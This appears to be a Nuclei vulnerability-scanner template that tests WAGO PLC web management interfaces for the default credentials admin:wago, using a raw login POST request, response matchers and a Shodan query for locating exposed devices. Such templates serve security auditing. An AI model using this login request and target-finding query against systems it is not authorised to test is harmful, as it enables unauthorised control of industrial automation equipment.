id: wago-webbased-default-login

info:
  name: WAGO Web based Management - Default Login
  author: biero-el-corridor
  severity: high
  description: |
      Identified WAGO Web-Based Management interfaces that were accessible using default credentials (admin:wago).These interfaces are used to configure and monitor WAGO programmable logic controllers (PLCs) and automation systems. Use of factory-default credentials exposed critical OT infrastructure to unauthorized access.
  metadata:
    shodan-query: html:"WAGO Ethernet Web-based Management"
    verified: true
    max-request: 1
  tags: wago,default-login

http:
  - raw:
      - |
        POST /wbm/login.php HTTP/1.1
        Host: {{Hostname}}
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}/wbm/index.php

        {"username":"admin","password":"wago"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"username":"admin"'
          - '"isDefaultPW":"1"'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205cfe637cae47648f397a041b7d5f602c7f4b0070ad8f669251cf97596dec7e47022100a8d7d349170632138edd377139779ae0d136e88ae85c5b789ce08e2c1b6efb9a:922c64590222798bb761d5b6d8e72950